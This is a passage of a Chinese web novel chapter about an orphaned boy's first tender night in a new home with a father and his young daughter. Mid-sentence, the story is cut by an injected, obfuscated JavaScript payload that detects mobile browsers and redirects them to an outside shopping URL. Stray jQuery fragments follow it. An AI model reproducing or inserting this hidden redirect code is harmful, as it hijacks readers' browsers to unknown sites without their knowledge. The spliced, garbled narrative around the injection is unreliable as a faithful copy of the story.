沈念已经抱着念念不忘在客厅等他了。
“林暮林暮你快来看！”她整个人趴在大熊的肚子上，两只手环着熊的脖子，笑得眉眼弯弯，“这是念念不忘，我的好朋友！”
林暮走过去，站在大熊面前。
熊比他高出整整一个头。两颗黑色的纽扣眼睛歪歪扭扭的，像是在好奇地看着他。熊的肚子圆滚滚的，沈念趴在上面，整个人陷进去了一大半，像一颗嵌进棉花糖的草莓。
林暮伸出手，很轻很轻地碰了一下熊的爪子。
毛茸茸的。
他的手缩了回去，然后又伸了出来，这次握住了熊的整只爪子。毛茸茸的触感从掌心传过来，暖的——不，不是熊暖，是他的手太凉了，所以觉得什么都暖。
沈念从熊肚子上滑下来，站到林暮旁边，仰头看着他。
“你喜欢念念不忘吗？”她问。
林暮想了想，点了点头。
沈念高兴了，拉着他的手放到熊的肚子上：“那你摸摸它的肚子！它的肚子最软了，我每天晚上都要抱着它睡觉，比枕头还软，比爸爸的胳膊还软——不过爸爸的胳膊也很软，就是有时候会麻，上次我枕了一晚上，爸爸第二天早上说他的胳膊不见了。”
林暮的手放在熊的肚子上，手指微微张开。
柔软的绒毛从他指缝间溢出来，像握着一把不会流走的月光。
他的眼眶又红了一下，但没有哭。他只是把手放在那里，放了好久。
沈渡从厨房端出一杯热牛奶。两个杯子，一杯是沈念的粉兔子杯，一杯是今天新买的——蓝色的，上面印着一只打瞌睡的小猫。他在超市货架上看到这个杯子的时候，不知道为什么，就是觉得应该买下来。
他把蓝色杯子递给林暮。
牛奶的温度刚好，不烫嘴，也不会凉得太快。杯壁上印着的那只小猫闭着眼睛，嘴角挂着一滴小小的口水，旁边写着几个字：“好梦。”
林暮双手捧着杯子，低头看着那只打瞌睡的小猫。
牛奶的热气升上来，模糊了他的眉眼。他轻轻地、小心翼翼地喝了一口。牛奶很浓，很香，很甜——不是糖的甜，而是牛奶本身的那种、淡淡的、温润的甜。
他从来没有喝过这么甜的牛奶。
在福利院，牛奶是粉冲的，稀得像水，有时候放太久了会有一股腥味。他每次都喝得很快，不是因为好喝，而是怕别人来抢。
但这一次，他喝得很慢。
因为没有人会抢。因为杯子是他的，牛奶是他的，这只蓝色的小猫也是他的。
他想说什么，嘴唇动了动，又闭上了。
然后他放下牛奶杯，做了一件很小的事。他走到沈渡面前，伸出手，轻轻地、飞快地碰了一下沈渡的膝盖——他够不到肩膀，也够不到手，他只能碰到沈渡蹲下来时和他平齐的膝盖。
碰了一下，就缩回去了，像一只试探水温的猫。
沈渡愣了一下。
然后他笑了。他没有把林暮拉过来，没有过度热情的回应，只是笑着说了一句：“膝盖收到了。”
沈念从沈渡背上探出头来：“林暮你为什么碰爸爸的膝盖？你是不是也想挂在爸爸背上？我让给你，我今天已经挂了好久了。”
说着她就要从沈渡背上滑下来。
林暮摇了摇头，往后退了半步，耳朵尖红红的。但他没有走远。他退到三步远的地方就停下来了，站在原地，低着头，脚尖在地上画圈。
沈念已经从沈渡背上滑下来了。她走过去，拉住林暮的手——那只没有缠绷带的手，拉着他往沙发那边走。
“来，我给你看念念不忘的肚脐眼在哪里。”
“……熊有肚脐眼吗？”
“当然有！爸爸给我缝的！就在肚子正中间，一个十字形的——”
沈渡在身后轻声纠正：“那是纽扣。”
沈念回头，理直气壮：“纽扣就是熊的肚脐眼！”
沈渡没有再说话了。他靠在沙发扶手上，看着两个孩子趴在念念不忘的大肚子上，一个认真地找纽扣，一个安静地看着她找。沈念找到了那颗十字形的纽扣，兴奋地叫起来，声音把窗台上的绿萝都震得晃了晃。林暮被她摁着头去摸那颗纽扣，手碰到纽扣的时候，嘴角弯了一下。
很浅。浅到几乎看不见。
但沈渡看见了。
那天晚上，林暮睡在沈念隔壁的房间。
沈渡为他铺好了床。被套是新换的，有一股洗衣液的清香，淡淡的，像雨后的青草。枕头不高不矮，沈渡试了试，又加了一个薄枕巾——他记得自己小时候不喜欢太高的枕头，不知道林暮喜不喜欢，但两个选择总比一个好。
床头放了一杯水。温水，不烫嘴。
窗帘拉了一半，月光刚好洒在床边，不会刺眼，也不会太暗。
林暮躺在床上，眼睛睁得大大的，盯着天花板。天花板上什么都没有，白色的漆面在月光下泛着淡淡的银光。他把被子拉到了下巴，两只手放在被子外面——白色的绷带在月光下格外显眼，像一只小小的、裹着纱布的蝴蝶。
他的身体很僵硬。
不是因为害怕，而是因为不习惯。不习惯柔软的床垫，不习惯干净的枕头，不习惯被子的厚度刚好不冷也不热，不习惯床头有一杯水，不习惯走廊里亮着一盏不会熄灭的小夜灯。
不习惯穿着干净的、柔软的、属于自己的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547237|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
衣服睡觉。
他动了动，把被子拉上来，盖住了那只缠着绷带的手。棉被擦过绷带，发出细微的沙沙声。他想，这件蓝色的衣服好软，像沈念的毛巾一样软，像熊的肚子一样软。他不知道一个人需要攒多久的好运气，才能穿上一件这么软的衣服。
门没有关紧。留了一条缝，大概三指宽。
沈渡说：“门不关了，晚上有什么事就喊我，我就在对面。”
林暮没有回答。但他侧过头，从门缝里看到走廊上那盏小夜灯的光，橘黄色的，像一小块凝固的黄昏，安安静静地搁在黑暗里。
夜灯旁边，不知道什么时候多了一样东西。
一只蓝色的小猫杯子，倒扣着放在小夜灯旁边，杯底朝上，像一把小小的伞。杯底那个打瞌睡的小猫图案正对着林暮的房间，小猫闭着眼睛，嘴角挂着一滴口水，不知道在做什么好梦。
林暮盯着那只倒扣的杯子看了很久。
被子下，他慢慢地、悄悄地，把那只缠着绷带的手举到了眼前。白色的绷带在黑暗中发着微微的光，像一小截月光折成的船。
他看了很久。
然后他把手放进了被窝里，闭上了眼睛。
被子很暖，衣服很软，走廊里有光，隔壁房间有沈念均匀的呼吸声，另一个隔壁房间有沈渡翻书页的声音——轻得几乎听不见，像风翻过了一页春天。
林暮把脸埋进枕头里。
枕头上也有洗衣液的味道，和那件蓝衣服是一样的。他深深地吸了一口气，好像要把这种味道记住，记很久很久。久到他以后在任何一个地方闻到这个味道，都会想起今天。
想起一个穿蓝色衣服的人蹲下来给他洗手。
想起一个小女孩递给他棉花糖。
想起一碗排骨。
想起一双大得像船的拖鞋。
想起一件洗过的、蓝色的、属于他的衣服。
他在黑暗里睁着眼睛，觉得这间屋子好暖。不是因为开了暖气，而是因为这里的每一个角落都被装满了——被灯光装满，被声音装满，被一个姓沈的男人和一个姓沈的小女孩漫出来的、多余的、不知该如何安放的温柔，一点一点地装满了。
他以为自己是空罐子。
但今天，有人往里面倒了很多东西。棉花糖，排骨，牛奶，绷带，蓝色的衣服，打瞌睡的小猫杯子，一盏橘色的小夜灯，门缝里透出的光。
罐子满了。
满到溢出来了。
溢出来的那些，从眼角滑下来，落在枕头上。
这一次他没有忍着。不是因为他不想忍，而是因为他发现——在他还没有决定要不要忍的时候，眼泪已经自己跑出来了。